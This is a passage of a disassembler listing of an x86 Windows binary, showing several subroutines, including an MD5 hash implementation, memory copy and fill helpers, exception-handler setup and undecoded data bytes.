sub_402248 add esp, 4 test eax, eax jnz short loc_434A5A mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010C3 push esi call sub_40105F add esp, 8 mov esi, edi loc_434A5A: ; CODE XREF: sub_434A00+3Ej cmp esi, ebp jnz short loc_434A33 pop edi loc_434A5F: ; CODE XREF: sub_434A00+30j lea eax, [ebx+8] push eax call sub_4010C3 add esp, 4 pop esi loc_434A6C: ; CODE XREF: sub_434A00+13j ; sub_434A00+18j ... mov eax, [ebx] push eax nop call near ptr 2750000h cmp [ebx+4], ebp jz short loc_434A86 lea ecx, [ebx+8] push ecx call sub_402252 add esp, 4 loc_434A86: ; CODE XREF: sub_434A00+78j push ebx nop call near ptr 77C2C21Bh add esp, 4 loc_434A90: ; CODE XREF: sub_434A00+Aj pop ebp xor eax, eax pop ebx retn sub_434A00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_434AD0 proc near ; CODE XREF: sub_4020F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_5103B4 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_434AF4 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_434B03 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_434AF4: ; CODE XREF: sub_434AD0+11j push eax call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_434B03 mov eax, ebx loc_434B03: ; CODE XREF: sub_434AD0+1Aj ; sub_434AD0+2Fj push edi xor edi, edi test esi, esi jz short loc_434B65 test eax, eax jz short loc_434B52 mov ecx, [esi+4] test ecx, ecx jz short loc_434B52 test ebx, ebx jz short loc_434B52 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_434B3D loc_434B27: ; CODE XREF: sub_434AD0+65j cmp [ecx+8], esi jz short loc_434B39 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_434B27 jmp short loc_434B3D ; --------------------------------------------------------------------------- loc_434B39: ; CODE XREF: sub_434AD0+5Aj test ecx, ecx jnz short loc_434B52 loc_434B3D: ; CODE XREF: sub_434AD0+55j ; sub_434AD0+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401DDE mov edi, eax add esp, 0Ch test edi, edi jnz short loc_434B65 loc_434B52: ; CODE XREF: sub_434AD0+3Cj ; sub_434AD0+43j ... mov ecx, [esi] push ebx push ecx nop call near ptr 2770000h test eax, eax jnz short loc_434B65 mov edi, 0Bh loc_434B65: ; CODE XREF: sub_434AD0+38j ; sub_434AD0+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_434AD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_434BA0 proc near ; CODE XREF: sub_401190j push ebx push esi push edi nop call near ptr 27E098Ch mov esi, eax call sub_438250 sub_434BA0 endp ; --------------------------------------------------------------------------- dd 448BF88Bh, 88B1024h, 0C08BE851h, 56900230h, 0E890D88Bh dd 230C269h, 36CAE857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_434BF0 proc near ; CODE XREF: sub_401A69j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_434BF0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434C30 proc near ; CODE XREF: sub_401C26j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_434C5B inc dword ptr [esi+14h] loc_434C5B: ; CODE XREF: sub_434C30+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_434CB9 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_435A30 lea ecx, [esi+18h] push ecx push esi call sub_434DA0 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_434CB5 loc_434C99: ; CODE XREF: sub_434C30+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_434DA0 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_434C99 loc_434CB5: ; CODE XREF: sub_434C30+67j xor eax, eax jmp short loc_434CBB ; --------------------------------------------------------------------------- loc_434CB9: ; CODE XREF: sub_434C30+41j xor ebp, ebp loc_434CBB: ; CODE XREF: sub_434C30+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_435A30 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_434C30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434D10 proc near ; CODE XREF: sub_402176j var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_435950 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_434D43 mov ecx, 78h loc_434D43: ; CODE XREF: sub_434D10+2Cj sub ecx, eax push ecx push offset aA ; "€" push edi call sub_401C26 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401C26 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_435950 push 58h push 0 push edi call sub_435A60 add esp, 30h pop edi pop esi add esp, 8 retn sub_434D10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434DA0 proc near ; CODE XREF: sub_434C30+58p ; sub_434C30+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_4359C0 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_34] lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_435A60 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_434DA0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435950 proc near ; CODE XREF: sub_434D10+14p ; sub_434D10+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_435997 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_43596A: ; CODE XREF: sub_435950+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_43596A pop esi loc_435997: ; CODE XREF: sub_435950+7j pop edi retn sub_435950 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4359C0 proc near ; CODE XREF: sub_434DA0+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_435A0A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_4359DD: ; CODE XREF: sub_4359C0+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_4359DD pop edi pop esi loc_435A0A: ; CODE XREF: sub_4359C0+7j pop ebp retn sub_4359C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435A30 proc near ; CODE XREF: sub_434C30+4Ep ; sub_434C30+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_435A4C mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_435A43: ; CODE XREF: sub_435A30+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_435A43 loc_435A4C: ; CODE XREF: sub_435A30+7j pop esi retn sub_435A30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435A60 proc near ; CODE XREF: sub_434D10+60p ; sub_434DA0+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_435A8E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_435A8E: ; CODE XREF: sub_435A60+6j retn sub_435A60 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_435AA0 proc near ; CODE XREF: sub_401C21j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_435AA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 0Bh push 3 push 4Fh push 14h push 5 lea eax, [esp+58h+var_3C] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_435AA0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Dh push 4Fh push 14h push 5 lea edx, [esp+30h] push 7 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE add esi, 32h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_435B90: ; CODE XREF: ___:loc_401F3Cj push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43D116 push eax mov eax, 16D4h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov esi, [esp+16F0h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436148 push 80h mov dword ptr [esp+1Ch], 800h nop call near ptr 77C2C407h add esp, 4 mov ebp, eax lea eax, [esp+64h] mov ecx, esi push offset asc_444600 ; " " push 1 push eax call sub_4016B8 push 800h mov dword ptr [esp+16F0h], 0 call sub_437AEA ; --------------------------------------------------------------------------- db 8Bh dd 51172C1Dh, 4C48300h, 0B9F88Bh, 33000002h, 0D43D89C0h dd 0F3005103h, 778CBEABh, 4E8B0044h, 4C8D51FCh, 2DE85024h dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h dd 0FF50FFFCh, 4C483D7h, 1FEAE850h, 83907781h, 0C08508C4h dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h dd 0F0685204h, 55004445h, 514BE890h, 0B9001Ch, 33000002h dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0D8BF0000h, 0F3005103h dd 3D4A1ABh, 4C8D0051h, 948D1824h, 6E424h, 